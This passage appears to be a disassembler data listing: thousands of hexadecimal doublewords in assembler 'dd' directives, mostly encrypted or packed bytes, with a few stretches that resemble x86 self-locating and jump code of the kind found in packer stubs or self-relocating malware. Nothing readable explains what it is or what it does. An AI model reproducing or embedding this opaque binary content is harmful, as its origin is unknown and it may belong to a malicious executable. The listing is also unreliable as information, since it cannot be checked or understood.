0C68E9FD7h, 0C9ABF839h dd 7B65FB36h, 0CA4F9648h, 8A98AD64h, 0D870BD74h, 4C9B5A0h dd 0B9D1517Dh, 0BEA0ED2Ch, 79FEC3Dh, 76843BA1h, 5A6DA584h dd 402DB34Ch, 5A7EAB5Ch, 1AB016E4h, 7EAC97EBh, 0ED43875Ah dd 35012436h, 0CDF38FF5h, 89E4A395h, 732A92C5h, 62E64386h dd 90FDCB57h, 2C5C700Fh, 3DAFD8D3h, 27B69986h, 703EF113h dd 0D950ABB9h, 13BCF48Ch, 45FC6C97h, 0FF091958h, 14CB99F6h dd 0C7D4EDFFh, 727250A8h, 16D12E3Ah, 62FA47EAh, 0E91666FCh dd 0C9132448h, 825F3F68h, 6E3DEh, 4FCA1A00h, 989169B9h dd 0E633B202h, 31000050h, 79B04B9Bh, 3E61CAE3h, 86D66CBDh dd 0D323B978h, 1D6D032Eh, 0E4B94FE2h, 0AEFADECBh, 9C825A7Eh dd 91FB2C17h, 501EDDAh, 3B09517Dh, 9E826F84h, 265A7EABh dd 0F80D2058h, 0D11EFBEAh, 0B8718939h, 8F9BD36Bh, 0D828BE6Bh dd 0D8BA0722h, 0E8CCB927h, 705A7EABh, 1281EEA2h, 0DA82F875h dd 0D8F15074h, 0DCB9E4E9h, 66B38h, 0C7529200h, 1019E131h dd 5EBB2A7Ah, 0A98878C8h, 0F138C313h, 0B6D9425Bh, 0FE4EE445h dd 4B9B3100h, 95E57BB6h, 5C31C76Ah, 0AE725643h, 14FA5A7Eh dd 91FB2C8Fh, 501EDDAh, 3B09517Dh, 6D5A6F84h, 5A7EAB89h dd 788F4311h, 85CE0CD2h, 37C8D40Ch, 0CB3543FAh, 0E53C2E66h dd 0BD0A27D7h, 347ED25h, 3909F6ADh, 0B95A7E46h, 87D45DA1h dd 7B3C89EFh, 5A7E459Ch, 0FF4CDD1Eh, 4DE41Dh, 0ABF00662h dd 8DF80E14h, 40908AE3h, 3AC4h, 9B5F6D00h, 0F9A9418Eh dd 0DEEF2702h, 0DB92E42Ch, 91D416EEh, 7BC89654h, 91D3DABAh dd 996F7554h, 7CF844EEh, 112545h, 0BFD00000h, 0D3D9BDAAh dd 93615491h, 1C48D5Bh, 57F00000h, 9B0D361Ch, 0E2B4F7E4h dd 6E3C5176h, 0AF7A8001h, 0B1E20122h, 0C0A39047h, 430708DAh dd 0E05D412Eh, 17E5100Ah, 0B603D1DFh, 0F041BFCDh, 77E112B8h dd 0E34EB2C0h, 718398ABh, 0D01AAB6Ah, 0D958A829h, 11503B73h dd 910CF58Dh, 44AA8779h, 0B1807F8Dh, 0FD34CB1Bh, 71F272D9h dd 7519F629h, 544h, 58EE2BB9h, 0A137F208h, 0EF859451h dd 3AD0619Fh, 821811EAh, 1EDD0069h, 0D925750Bh, 8F72C258h dd 43BC0CA2h, 6A8358EEh, 7EAF997Dh, 0B63B215Ah, 0ABF839C6h dd 0DD94042Fh, 76C595F0h, 984F1D51h, 0EBB29683h, 6C3A5A78h dd 0DF24234h, 36550024h, 0C8A5E4EFh, 4EB24h, 47D21200h dd 909961B1h, 0DE3BAAFAh, 2908F848h, 71B84393h, 3659C2DBh dd 7ECE64C5h, 0CB1BB180h, 1565FB36h, 0DCB147EAh, 0B0F2D6C3h dd 947A5A7Eh, 0BDAABF0Fh, 5491D3D9h, 4F5B9361h, 4B3481B0h dd 0F420C33Dh, 0C07D8801h, 0C6ACF95Fh, 0DF7BEF8Bh, 5F97FD40h dd 3885AC53h, 0EB132564h, 97309BA2h, 0C016DA12h, 0BE8B586Ah dd 0D016F27Bh, 653DE20h, 0D52A366Eh, 0F340E912h, 335FF55Bh dd 457C1989h, 2D6Ah, 0B1BF1500h, 5ABE34Eh, 0C6B36AD2h dd 5176FE9Fh, 1B04511Fh, 8E3EF30Dh, 9B86BE73h, 5A7902BBh dd 0CFBA5056h, 409BD325h, 5906h, 0ADBFB100h, 3D612DADh dd 41E71F10h, 90895C16h, 8E45AB43h, 6FED9F7Ch, 0E51DA63Fh dd 0F021E5D2h, 8FA45176h, 7971BEA2h, 4078465Ah, 98AD6432h dd 8D745B8Ah, 0FA063EA4h, 3C932900h, 105DCC2Eh, 1562B72Eh dd 0F4DF177Dh, 5A797215h, 33C96897h, 0C51217E3h, 3E321h dd 0FB2C8400h, 0BEEDDA91h, 395176E3h, 0AF5FBA2Bh, 0F991DE4Bh dd 98E5B3C1h, 9BE849B6h, 7627B5E9h, 1224DB4Dh, 6E138E63h dd 21346CE5h, 5DF50534h, 8E6D8557h, 50B64E9Bh, 0BE738B99h dd 0BB449486h, 7AAD2976h, 376E5B12h, 0B75D4509h, 0A9F79CE9h dd 36FB0453h, 1B8DB6A0h, 34207764h, 0D2A0632Ch, 0D55CA385h dd 0DA3FA688h, 0D950AB8Dh, 4492EE8Ch, 6076C437h, 0E59C0C37h dd 133DA1F8h, 0F4022169h, 0AF932207h, 3772153Fh, 552DF1Fh dd 0A457076Dh, 39891F85h, 52DF21C6h, 0BA076D05h, 0EDB3BFD1h dd 26832443h, 1019E2EEh, 0FDD11C3h, 5F1CC738h, 4572F9Eh dd 8F790F75h, 503DF464h, 6EFAB919h, 6D7A8694h, 0E8359B8Eh dd 0F20A1850h, 3BA2009h, 0DD1D01EEh, 0D7A577FCh, 4B3CBB23h dd 5D95BEB7h, 42DD2B4h, 36C412B7h, 33EA5285h, 0E20F0F46h dd 0AC18F74h, 249A50F8h, 0FA326510h, 0EA47B808h, 0ED44BB9Dh dd 0D23A6D57h, 0BCAA091Bh, 208D225Ah, 89E8D5E8h, 97AC95Ah dd 8876843Bh, 877A5CA9h, 630C44AAh, 0CB5AC2A2h, 0FA085D83h dd 30F42C05h, 7F05AFDAh, 4CE66A45h, 91000000h, 0DA91FB2Ch dd 90C2B3C5h, 4F9F0DB2h, 3BC7AB98h, 814F5492h, 63975E49h dd 49175177h, 635B3BFCh, 0A1F65A79h, 78C56C93h, 16E4A8E0h dd 9B6CB963h, 0F7E4F940h, 5A797013h, 1ACC5D9Dh, 34073FEh dd 7BE1A7E3h, 0D3D143h, 0C67C0000h, 0C2ABF839h, 0D3DCC0ADh dd 0EA625491h, 0E0979A2Dh, 0FD3503B5h, 0D21F0AF1h, 0D5220FF0h dd 26DB0CF3h, 0E00FA50Bh, 5491EEFBh, 782F02FDh, 649C956Ah dd 54DD2272h dd 0F0588B07h, 0E0594C39h, 93615176h, 3337CADCh, 525170C7h dd 153E281Ah, 12A06255h, 0DD437B01h, 0F3D33926h, 0C0CE575Fh dd 0EA6F33Eh, 43FAC8D6h, 0CAC61C2Eh, 0E8C7EB6h, 9BD839Fh dd 265E547Ch, 9148E11Ah, 15C0D7Fh, 0B43EC01h, 0F732C919h dd 5328CD3h, 6307E4DFh, 1CCh, 0D066B331h, 19AF7A80h, 67FD1CC9h dd 0B248E917h, 0FA909962h, 0A65578E1h, 619DED83h, 17EA3AD0h dd 0CB34841Ah, 0E2FBD066h, 7EB411F5h, 2EB3995Ah, 5EF435C6h dd 0BF6F10Eh, 0D32AC026h, 0BDF53CC5h, 91FB2CACh, 0FC26EDDAh dd 8CA15176h, 78FBBB9Fh, 3D75435Ah, 5314612Fh, 5A78FB73h dd 87F2080Eh, 409BD4DDh, 371B081Dh, 0BA5A7908h, 7907E9CDh dd 0F1A3715Ah, 0AA79EB23h, 24000000h, 0ABF839C6h, 0AAF732C9h dd 91D804E9h, 38F90654h, 84AD52A2h, 0CF88BB37h, 91D8FEE2h dd 52B88654h, 0C0718D9Bh, 95887588h, 9D5176C9h, 0D0E239CFh dd 0FD238E53h, 1A7DF1Eh, 9DAF66D6h, 0EE0DFC79h, 0A1B4EC78h dd 28007A8Ch, 8A17F9F4h, 79B3B99Dh, 0D73415Ah, 43A5EAD5h dd 57255760h, 0C06992A0h, 821DA2Ah, 4BB85E4h, 8C300DDFh dd 0E0h, 0BC52C71Dh, 59B8E6Ch, 53E930B5h, 9E34FD03h, 0E67CAD4Eh dd 0BA4164CDh, 7589D96Fh, 2BD626BCh, 0DF207006h, 0CEE7BC52h dd 7EB4FDE1h, 1A9F855Ah, 5EF435C6h, 0AA40F10Eh, 0F839C655h dd 0FB36C9ABh, 0E0487B65h, 12FF1429h, 5491D42Eh, 0D3E0C4B1h dd 9A685491h, 76631AE8h, 5491D392h, 29144C1Ah, 517D0B59h dd 0EED2BFD4h, 765A7EABh, 408D9C5Eh, 428E42A8h, 2EF33211h dd 0BD8B99D1h, 0C0718E70h, 0C25DA2Ah, 0BB2FEBFh, 386C19AFh dd 0C56C93A2h, 36CAD82Fh, 30A05CADh, 0AA10B032h, 818DC55Dh dd 8466B37Eh, 8668B57Ch, 0FEA66675h, 2FEC056h, 936D4F9Ch dd 9B6B519Eh, 8E276BCCh, 45938325h, 6177C538h, 0ED44BDCBh dd 0C4D008A0h, 1060F63Bh, 7D8B42EFh, 0CA73AB7Eh, 326h dd 13588900h, 0AEFB1EC6h, 0B1FE33CCh, 0B2FF32CFh, 0B6032ED0h dd 0B50227D4h, 0B40128D3h, 0B6032ED2h, 0BB0811D4h, 0BB0821D9h dd 0E689566Fh, 4C681h, 0EE830000h, 24348704h, 6824248Bh dd 5FF8h, 68241C89h, 53Dh, 68240C89h, 5ECD869h, 81241C8Bh dd 4C4h, 0C8B5400h, 4C48324h, 24348153h, 339F4177h, 5008418Fh dd 8B8h, 81C80100h, 9F417730h, 0C8B5833h, 0E1895124h, 4C181h dd 0C1830000h, 240C8704h, 241C8B5Ch, 81E28952h, 4C2h, 4C28300h dd 5C241487h, 0FA9DB6E9h, 93C59FFFh, 0B8E7AA56h, 5ECE25Ch dd 0E0FFC503h, 6B15E6Eh, 187138FBh, 4047B3F9h, 2026A723h dd 5DF17CBEh, 215951E2h, 5349B629h, 77B82034h, 23C7C29h dd 3BEEB2A6h, 3A21DAB1h, 619FB01Ch, 3A11D3DEh, 1F26C3D0h dd 1E8749E0h, 0A1401D8h, 24EBh, 8 dup(0) dd 0BDE90000h, 89000000h, 0ECE329B5h, 8D858B05h, 8B05E72Bh dd 0E7277D85h, 73B58D05h, 8D05ECE3h, 0EA467185h, 0C3D0FF05h dd 0E855h, 815D0000h, 0ECE379EDh, 8DBD8305h, 105E72Bh dd 2C850Fh, 0B5FF0000h, 5ECE329h, 277D858Bh, 363505E7h dd 0FF348127h, 0F013CD0h, 0A85h, 1B800h, 47E90000h, 33000000h dd 40E9C0h, 1C6A0000h, 0E32DB58Dh, 0FF5605ECh, 0ECE329B5h dd 7D858B05h, 3505E727h, 34812736h, 0C483D0FFh, 2DB58D0Ch dd 8B05ECE3h, 0E0831446h, 4F88304h, 7840Fh, 0C0330000h dd 5E9h, 1B800h, 0BD830000h, 5E72B8Dh, 7850F01h, 5D000000h dd 2E9C3h, 0CF5D0000h, 0E352858Dh, 858905ECh, 5E7032Dh dd 0E4B28D8Dh, 860F05ECh, 6, 1AE18501h, 8D8905E7h, 5E71AA9h dd 0C7FA8B66h, 0E72A4D85h, 744005h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1504h, 0C3554500h, 0DAB0B4C2h dd 273985C7h, 5E7h, 5EBA0000h, 0FF38F794h, 0E72411B5h dd 89F98B05h, 0E7280DBDh, 9595FF05h, 6A05E717h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h dd 50D8C355h, 5FFE31EBh, 0BD8BB3BCh, 5E71CE5h, 95FF006Ah dd 5E721C1h, 2EEBC08Bh, 32A81717h, 0F1A05727h, 0DBBCC7DFh dd 450B3DCAh, 0D5CBDF45h, 0A55154CDh, 4637899h, 6C97B4FEh dd 3CD9462Ah, 1CDA6EBAh, 1377B5B9h, 0BE813FAh, 17000000h dd 82C85B21h, 0C67AA528h, 0B58B6DD8h, 5E70AD5h, 0EBBE665Fh dd 4FC781F2h, 5700006Ch, 0DE9h, 92E39000h, 0B4C9773Bh dd 475E9BD8h, 6859A647h, 1ADCh, 0EE953h, 9B8C0000h, 0B8F37412h dd 254D6F84h, 1AC4CC5Bh, 820F5B5Eh, 6, 0BC59589h, 78B05E7h dd 0CFB5E881h, 8D291763h, 5E72F09h, 0A991F081h, 9D890FE0h dd 5E715D9h, 0F1BDC081h, 52570EB1h, 193D9589h, 5E5A05E7h dd 78FFC50h, 2F099D89h, 0EF8305E7h, 0EBC18101h, 4F1F42D4h dd 0F4B4F4Fh, 1F85h, 0EE900h, 0B9910000h, 0FB47C250h, 6818B5A0h dd 0E0373B52h, 2DE9h, 80F67700h, 0C58D8ABh, 0A810Fh, 5E90000h dd 0A7000000h, 420C7C32h, 0FFFF85E9h, 146424FFh, 0F84D877h dd 203E5E60h, 5C529BCCh, 0ABE90859h, 50000000h, 1C3F2E8Dh dd 0DA5F72B1h, 95A7ACABh, 0F44592B3h, 0B395A1h, 0A7ECABDAh dd 0B2915D20h, 96B1F46Bh, 55207520h, 0F26BB79Bh, 9692A5BCh dd 3A7594A1h, 9FB79960h, 0B599BD32h, 0A59CB2E9h, 0ACA3F292h dd 0B1EF7695h, 0F94E0097h, 9FA5B4h, 0F07B6B5Ch, 8A924Ah dd 45F352D0h, 0A3F653F5h, 44D6D979h, 45E3AFF1h, 0D77D41F4h dd 9792B000h, 0FD756BBFh, 96BFCF60h, 0B293BCF9h, 57207D20h dd 92ABF79Bh, 0B29EBD94h, 0CE9DBCE3h, 8F899BE0h, 0FD8F9D72h dd 6DB4EEA9h, 0BCE1B6F6h, 0B3ED7293h, 1E80097h, 3D94E7A6h dd 0DEA98332h, 40E963C8h, 68000013h, 5ECE867h, 0FA9A02E9h dd 0E96368FFh, 0F8E905ECh, 68FFFA99h, 5ECEA58h, 0FA99EEE9h dd 0EBEC68FFh, 0E4E905ECh, 68FFFA99h, 5ECEC65h, 0FA99DAE9h dd 0ECEA68FFh, 0D0E905ECh, 68FFFA99h, 5ECED78h, 0FA99C6E9h dd 0EE3D68FFh, 0BCE905ECh, 68FFFA99h, 5ECEF10h, 0FA99B2E9h dd 0F04468FFh, 0A8E905ECh, 68FFFA99h, 5ECF10Bh, 0FA999EE9h dd 0F2BA68FFh, 94E905ECh, 68FFFA99h, 5ECF438h, 0FA998AE9h dd 0F63868FFh, 80E905ECh, 68FFFA99h, 5ECF77Ah, 0FA9976E9h dd 1306DEFFh, 5CCD2D7Dh, 0AA6F76C6h, 0F53CC414h, 3DEC0F5Fh dd 2258EA7h, 4A9A30F9h, 97E77DB4h, 0E131C76Ah, 0A87D131Eh dd 0BABEA28Fh, 60465A7Eh, 0F839C6DBh, 0FB36C9ABh, 0E0487B65h dd 0DFDD3C29h, 415D5176h, 1D7A1A8Ah, 29F0F518h, 27105DC3h dd 0FC49E819h, 61412C64h, 0FC5A79C2h, 3C4AE0F6h, 89216EC3h dd 17BF6951h, 4BA0409Bh, 49000000h, 0CA634734h, 0CCEB5A79h dd 79CAFBDFh, 4FB5835Ah, 0FB2C0617h, 26EDDA91h, 0A65176FCh dd 74C1708Eh, 682976DCh, 5A78FB88h, 71CF1D23h, 55429E63h dd 5A78FB71h, 78C52BF9h, 16C0A8E0h, 56409BD4h, 3E76B348h dd 0D0CCh, 0AABF7700h, 91D3D9BDh, 5B936154h, 3481B04Fh dd 0C980A952h, 0A2EF2ABBh, 4729D20Ah, 4A2C79B8h, 8FE67CB5h dd 65CD917Dh, 2D652F67h, 92A8DB42h, 0F22DD54h, 0E7142279h dd 0E713F542h, 0F75DF542h, 0E54CB3BFh, 4FDA202Eh, 0C1F26E17h dd 6C92A057h, 8D7A8DC5h, 5177B3A2h, 0BFA390A5h, 475A79B3h dd 1B334179h, 31E84EE3h, 451D823h, 5842346Ch, 0F806BD2Fh dd 0FBDD2A07h, 8BC32900h, 483E8B78h, 0F0BE5760h, 59D02B39h dd 0A18873C3h, 4C80F7Dh, 0D87C59DFh, 109Ch, 0CC62B72Dh dd 15AB7E7Ch, 63F920C5h, 0AE44ED13h, 0F68C9D5Eh, 0AA5174DDh dd 6599E97Fh, 1BE636CCh, 0CF308016h, 0DEF7CC62h, 7EBC0DF1h dd 2AAF955Ah, 5EF435C6h, 0AA40F10Eh, 49B1BF55h, 0C3FB93E0h dd 2331EA1Dh, 0E0C453DEh, 685491D3h, 687D349Ah, 91D3977Bh dd 19511F54h, 0FC521906h, 0BFCD5176h, 0A7B5ED3Ch, 0EBCB8CD9h dd 865A78FCh, 55FF6A80h, 36409BD5h, 0DBh, 0F839C6E1h, 0A632C9ABh dd 91D3D5B9h, 876B5854h, 0F5491D3h, 5BC18F41h, 0D0E64D0Eh dd 17E85491h, 0C451631Ah, 65CBB884h, 8FDFD109h, 0F874C170h dd 0B9A65DCFh, 517769CEh, 0A443BED6h, 0A70D65Bh, 0EF598A74h dd 94112338h, 98A968BFh, 2C929F61h, 0D2AB09F4h, 5D2B575Fh dd 0C86998A6h, 0C733E37Bh, 2172A62h, 0B0A4DCF0h, 0B969896Bh dd 59DEA47h, 0EF3AC1CDh, 37F20959h, 4DE8313h, 6C10EDDFh dd 0FA0h, 0C85EBB29h, 11A78278h, 5FF524C1h, 0AA40F10Fh dd 0F288A15Ah, 0AE4D70D9h, 6995E57Bh, 1FE232C8h, 0D32C7C12h dd 0DAF3C85Eh, 7EBD09EDh, 26AB915Ah, 8EA335C6h, 91D3BDA1h dd 0E8774554h, 5491D404h, 0A158BE8Ch, 224728Fh, 0CC0412C6h dd 72758ADAh, 0BE56A38Eh, 0BF6DC258h, 0ABE34EB1h, 9380609Fh dd 5491D3AFh, 0B99DC535h, 0A4560F74h, 0ABB970D6h, 0BCA08D53h dd 445492CBh, 2FD81076h, 0E97FB24Dh, 80CD4C99h, 19D0619Eh dd 0F03DF40Bh, 0D72E2058h, 51AE31C9h, 0C7427AE0h, 0E7EA9A5h dd 77B24957h, 0FC3F2C3Fh, 845177D9h, 0E9C849B6h, 0D1A9040Ch dd 927F36A6h, 4EE93D4Bh, 34B0FDCBh, 0CDE29903h, 56A542BFh dd 4A356DD3h, 54D53D0Bh, 0F406BD8Bh, 63775187h, 16296137h dd 0FF0F708h, 0CF26BC22h, 0A6F33EC1h, 35CAD60Eh, 9BC8D8FCh dd 0C3A0E191h, 0EAB1Fh, 53C61E00h, 9C8D6DBDh, 0EA2FB606h dd 35FC0454h, 7DAC4F9Fh, 4265CEE7h, 8ADA70B9h, 0D727BD74h dd 2171072Ah, 0E8BD53DEh, 0BDFEE2CFh, 0A0865A7Eh, 0A739C61Bh dd 91D3D6BAh, 2A905E54h, 98996573h, 83BB760h, 25DBE9A0h dd 0D3EACEBBh, 0A4725491h, 6F3063Eh, 5176D24Fh, 0EE43BCCAh dd 44DAA8B6h, 0F71295Ah, 7408FF00h, 1F2DE44Ah, 69014EDBh dd 56E1C5B2h, 9B695A79h, 2D3B5063h, 3B265ED3h, 575E76F0h dd 1E616173h, 740E5615h, 0A5F237C4h, 0F9C7D50Dh, 4CB5C3ACh dd 0E2C2ADE5h, 7D6060CCh, 4CF66177h, 2D4EB205h, 62h, 6ADBFD8h dd 0F67F65Eh, 5C872D65h, 0CBCAAE9Bh, 84525492h, 0A659671Eh dd 2B40538Bh, 9C4CDD1Dh, 0AD98D049h, 517796E9h, 0DEECA371h dd 45570E23h, 0B06A639Ah, 0D23D4455h, 0A0CC8D1h, 4B7A6CA4h dd 5A7ACE6Dh, 8B2110EFh dd 2D1AC63Bh, 5A7ACE49h, 5F4C03D1h, 5A7ACE7Bh, 82CF3503h dd 0D9FDEh, 0FB2C4100h, 0FEEDDA91h, 0FE517D35h, 0BB0EF2DFh dd 0C8965A7Eh, 0BA402411h, 0FAC85A7Eh, 0BAC8DD94h, 0C03BEB46h dd 4C841C69h, 0DC72BF40h, 71BE738Ch, 0A35AC2F5h, 6A1E28B6h dd 0A35A2857h, 10C76A95h, 0A12A0EFBh, 0E4B2606Bh, 956ABAACh dd 3380A952h, 6CE8359Bh, 0B673873Bh, 2D1AD169h, 606BA049h dd 0E69D03D1h, 52AEBCD1h, 6BFA92DFh, 606BA087h, 8D3FEA11h dd 119C87BFh, 195D50A7h, 8483274Bh, 8E5D915h, 0D1764h dd 0E732B200h, 30F90151h, 7E9B4A9Ah, 0C96898E8h, 1118E333h dd 0D6F9627Bh, 1E6E0425h, 6BBB51E0h, 0B5059B96h, 7C51E74Ah dd 0BE927663h, 341A5A7Eh, 0BDAABFAFh, 5491D3D9h, 705B9361h dd 5491D390h, 26DD4F78h, 7D36B339h, 2EE5B351h, 9B52DF20h dd 0B8B59986h, 6F3D5A7Eh, 0A4F140BFh, 92E2D40Ch, 0FB77C46Dh dd 0BCA960C8h, 5763B705h, 2193B785h, 8BDF0275h, 0C9E0AAEh dd 0B92B0000h, 807ACA60h, 22C313A9h, 0EF1161F7h, 9F5CAC42h dd 72DBF48Ah, 0E77DAC4Fh, 34CA6797h, 7E141DE4h, 0CA60D12Eh dd 0BEFDCF5h, 935A7EC0h, 39C628ADh, 36C9ABF8h, 313244FBh dd 3BD6C546h, 7813BCF4h, 0EB95C016h, 0CC457C34h, 68Ch dd 47FB2C77h, 5E157B9Eh, 7D36F071h, 732AF851h, 0AE4D9A65h dd 2F7F157Bh, 531461D0h, 5A7EB973h, 9C0285Bh, 63B8651Ch dd 0F317E557h, 0DF0272CBh, 1924C8A5h, 0B000000Ch, 0FF4FE534h dd 48982EFBh, 96E67C9Dh, 0E131C76Ah, 60790F1Ah, 227D4F7h dd 4FE21C6Ch, 999869B9h, 0E54CB303h, 74617A4Fh, 5A7EBF90h dd 0C6AD3218h, 0C9ABF839h, 13AEFB36h, 86305BB1h, 67457CF8h dd 610h, 0D407E712h, 0C4EF5491h, 0EFB09D54h, 72517D35h dd 5E969B64h, 0BDCB8250h, 8E59A542h, 0F157BD6Ch, 3DF40B5Bh dd 8F4374F0h, 8972BF72h, 7EB9B89Ch, 0C72405Ah, 4B02EFA6h dd 0CB5763B8h, 72EFD9FDh, 0DCB9DF02h, 0B8B38h, 73A63E00h dd 0BC6D8DDDh, 0A0FD626h, 55DC2474h, 9D8C6FBFh, 6285EE07h dd 0AAFA9099h, 0F747DD54h, 4191270Ah, 8DD73BEh, 0C11E02EFh dd 0C0A65A7Eh, 0AE39C63Bh, 2B78DE53h, 2E7BB649h, 2F7CB54Ch dd 317EB34Dh, 0B3F80EBCh, 6712E84Ah, 457CF8BDh, 5739Eh dd 0B1BF4900h, 0FC94E150h, 32F51EC4h, 29305520h, 30BF219Dh dd 5492A94Ch, 84F9F0D2h, 1BCDC18Fh, 1B30E74Dh, 92094A2Eh dd 0CC04D254h, 6C20CCB9h, 8EA3517Dh, 7EEFBDA1h, 3F77455Ah dd 9EAC6331h, 0EA3AD061h, 0FADECB15h, 825A7EEFh, 791800B4h dd 91F5B3ECh, 3D1DDE2Bh, 255A7ED6h, 0E6D38AF2h, 5763D42Fh dd 15BDE1AFh, 63DF0258h, 0AC6E286h, 0E1030000h, 0A852A238h dd 4A9BEB81h, 17E939CFh, 0C734841Ah, 4AB3CC62h, 0BF55D427h dd 0CA28F6Fh, 56EC45BCh, 0A238F906h, 0E3C7B4CDh, 6B5A7EC1h dd 39C60085h, 93E051AEh, 96E34EB1h, 12E898FEh, 8264B117h dd 0CC67B47Dh, 3FE99C6Ah, 7F457CF8h, 57A48D71h, 0A91587BFh dd 0C0000004h, 91D404E7h, 8C3F454h, 91D4371Bh, 8BF1BF54h dd 0BDAABFD4h, 5491D3D9h, 0DF919863h, 7E6C8EC3h, 9E04E7C6h dd 45B47B66h, 6634517Dh, 0D35EA1AFh, 0E4D1E63Dh, 5A7ECA00h dd 8E856C88h, 0E343E179h, 0F5D9C67Dh, 7D5A7E87h, 946B77AFh dd 0A3D4509Dh, 8817FBE8h, 60A15A7Eh, 3AEC84D1h, 341F401Eh dd 2E9484B6h, 752411C8h, 0F5576342h, 0CDD90327h, 5633DF02h dd 9F3B2h, 0B0ED600h, 54D52575h, 0A2776EBEh, 0ED44BC0Ch dd 35F40757h, 0FA1D869Fh, 42922801h, 8FDF75BCh, 0D929BF72h dd 0A0750B26h, 0C2B69A87h, 583E5A7Eh, 0AE39C6D3h, 0F890DD4Ch dd 37C9DB92h, 8BA9C76Bh, 48958461h, 649A4AB0h, 0B0E880CDh dd 57DA2507h, 0B046360Ah, 3DD35EA1h, 7C806711h, 1374845h dd 0C6F30000h, 2C41F839h, 91D35B3Fh, 0DD15E354h, 3AAD5234h dd 6D0369C0h, 31E85083h, 361A071Ch, 0BE5491D4h, 6ECDB8F0h dd 0EE5176E0h, 3212D320h, 0CD5A78E1h, 9C4631C7h, 7D409BF5h dd 36h, 91FB2C28h, 4AB7C5DAh, 0FDC4AFE7h, 7D5176FBh, 647962AFh dd 4D82B952h, 9120C722h, 5A7903ADh, 442F6735h, 5A790364h dd 78E3F9FFh, 409BCCCEh, 0ADAFh, 39C65A00h, 32C9ABF8h dd 37C8AAF7h, 0B2C4ADFAh, 90327542h, 0A7FEB2DAh, 0CD4E57C5h dd 0B748548Ch, 788DE47Ah, 920DA78Bh, 29612F54h, 9232673Eh dd 1B16E954h, 689B85h, 0DA263449h, 54341F57h, 0CF5178C6h dd 40F039C1h, 2B3971C0h, 6398A65Dh, 1BE030C6h, 44FCEA0Eh dd 0A784E4ECh, 8BF03h, 3FDA0A00h, 88A159A9h, 0D643A2F2h dd 2110F040h, 69C03B8Bh, 2E51BAD3h, 76C65CCDh, 0C313A988h dd 0D5DF33Eh, 0D4A93FF2h, 0C3EACEBBh, 8C725A7Eh, 34B1BF07h dd 5D412EE5h, 0E55491D3h, 28D3DF17h, 0E41B6B01h, 5260B74Dh dd 9E3683AEh, 39C65566h, 36C9ABF8h, 393244FBh, 0D332CDDAh dd 0D4E6D810h, 298h, 91FB2C37h, 0D072EDDAh, 0AC7A5176h dd 0F0BE9E5Fh, 53595A78h, 0E128D285h, 5109409Bh, 0B4000002h dd 91D406E7h, 5BCDF654h, 35EEB7A4h, 0A876517Dh, 151CE3F1h dd 17D02F7Fh, 0FA9549E8h, 0B9908AB8h, 83FF4CB2h, 0D1609E50h dd 18C7B46Bh, 9857631Eh, 8740F77Ch, 3BA163A3h, 2C8D917h dd 0D27653DFh, 7F8h, 700613D1h, 0B94FDA20h, 79D7C69h, 52E849B7h dd 9A30F902h, 6F51881h, 0C13D8D23h, 778ADA70h, 2BD424BAh dd 829B7006h, 7EC4B195h, 0CE53395Ah, 0ABF839C6h, 0AEFB36C9h dd 451CEADAh, 0B5E177BAh, 457CFC0Bh, 1C3ECh, 0B1BF9700h dd 0A1ADE534h, 0BC75895Eh, 3320D76Fh, 5491D34Fh, 0ECA309D7h dd 1848C5D7h, 0BD479F3Ch, 92834A2Eh, 0CC04D254h, 22BE4123h dd 92835135h, 540BD954h, 92838367h, 0D73D0B54h, 722C5741h dd 0C159A673h, 818FA45Bh, 9B96697Eh, 1850B64Eh, 778FCE2Dh dd 39324E51h, 0C727CDA6h, 0B172BF25h, 5A7903D1h, 0F509176Ch dd 1F57EF3Ch, 30DA8D5Bh, 70409BC8h, 49968362h, 2FFA01B1h dd 4385F7h, 202E0000h, 6F0754C5h, 0FB2C2637h, 2976B347h dd 1504E191h, 13CA30C8h, 24DBE9FEh, 0D39A7E0Dh, 54225491h dd 0FB6A311Ch, 1CEA5176h, 0FC2E0ECFh, 74C95A78h, 629A7F66h dd 731D489Eh, 54409BD4h, 0DCh, 0F839C6FFh, 0C0ADC2ABh dd 5491D3DCh, 97E29664h, 1BF46784h, 69929ED6h, 6E9173C0h dd 6B9476C3h, 0E5FA0FC6h, 92C014F8h, 3FCE9C54h, 5492BF5Bh dd 0AF4DC7E3h, 0D3A0F141h, 1443356Dh, 5491D94Dh, 4A0130CFh dd 2370A93Ch, 0A61538Bh, 385740F8h, 0BDB66AC7h, 0C1679F33h dd 826F2696h, 517925A2h, 36DE0B1Dh, 2FE34EB2h, 28600C62h dd 83954C1Ah, 50B02DD8h, 3F182DE1h, 0BDC4C9ECh, 0F751757h dd 9DAFC4D7h, 16008C0Ch, 0F0FC3476h, 38881E0Bh, 4EE31CC3h dd 0DF036901h, 0E4EBDB1Bh, 49EC906Dh, 80000006h, 0CF1FB564h dd 1868FE2Bh, 66B64CCDh, 0B101979Ah, 3049DF4Ah, 0D257A4C7h dd 1F12EC3Ch, 69C83989h, 0B57C83D3h, 44314A1Fh, 5A7EC560h dd 0C67D02E8h, 0E5EF435h, 55AA40F1h, 9434B1BFh, 91D3C3A7h dd 177D4B54h, 0EEFA32CAh, 9B88D211h, 8C694E7Ch, 8F7D926h dd 29819329h, 0E4000000h, 0ABF839C6h, 91AD36C9h, 82A965ADh dd 2C45585Dh, 0F056CE74h, 578B3D8Ah, 9A4DB281h, 0E981CE4Bh dd 37DBED83h, 3E000000h, 934DB1BFh, 91D3C2A6h, 167C4A54h dd 1613E7C9h, 34E500B0h, 0B174FE7h, 2FF03DF4h, 5491D350h dd 0D2617759h, 176E042Dh, 0EA37F209h, 6180AD04h, 1F852E47h dd 39C6D6E7h, 0DDEA29AAh, 41A7D4A5h, 0B0697C8Ah, 0D1E6CF78h dd 91F700E4h, 82BA8854h, 8A41ABDCh, 0F6A48875h, 5E2C5491h dd 37261326h, 37517D58h, 8F9DB269h, 153A6F6Ch, 158637CAh dd 92CA62AFh, 1B87986h, 0F79007EFh, 1D555177h, 0BC24DB2Bh dd 7F79EBCFh, 3FA5735Ah, 914D76F2h, 0E515C554h, 1227DE44h dd 7A2C10FDh, 9CB45A7Fh, 2E66CC65h, 6ADCB543h, 30E7B557h dd 1850D922h, 0DF08F705h, 0F920C522h, 48AE14ACh, 0B7628391h dd 0B094816Ah, 38606C5Eh, 0A754046Ah, 8584A82h, 1F0AF0F7h dd 220FF0D2h, 27D73DD5h, 740C59D8h, 1245C10Eh, 7B06F3AAh dd 835D5165h, 